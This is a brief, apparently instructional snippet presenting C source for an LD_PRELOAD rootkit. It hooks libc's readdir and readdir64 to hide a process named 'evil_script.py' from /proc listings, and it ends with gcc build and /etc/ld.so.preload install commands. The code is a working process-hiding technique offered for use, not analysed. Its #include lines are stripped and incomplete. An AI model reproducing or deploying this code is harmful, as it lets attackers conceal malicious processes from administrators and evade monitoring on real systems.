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modify the readdir() function inside libc and input the code to exclude the access to some /proc files

#define _GNU_SOURCE

#include
#include #include
#include
#include

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}

char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}

if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}

fclose(f);

int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}

#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

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gcc -Wall -fPIC -shared -o some_name.so some_name.c -ldl
echo some_name.so >> /etc/ld.so.preload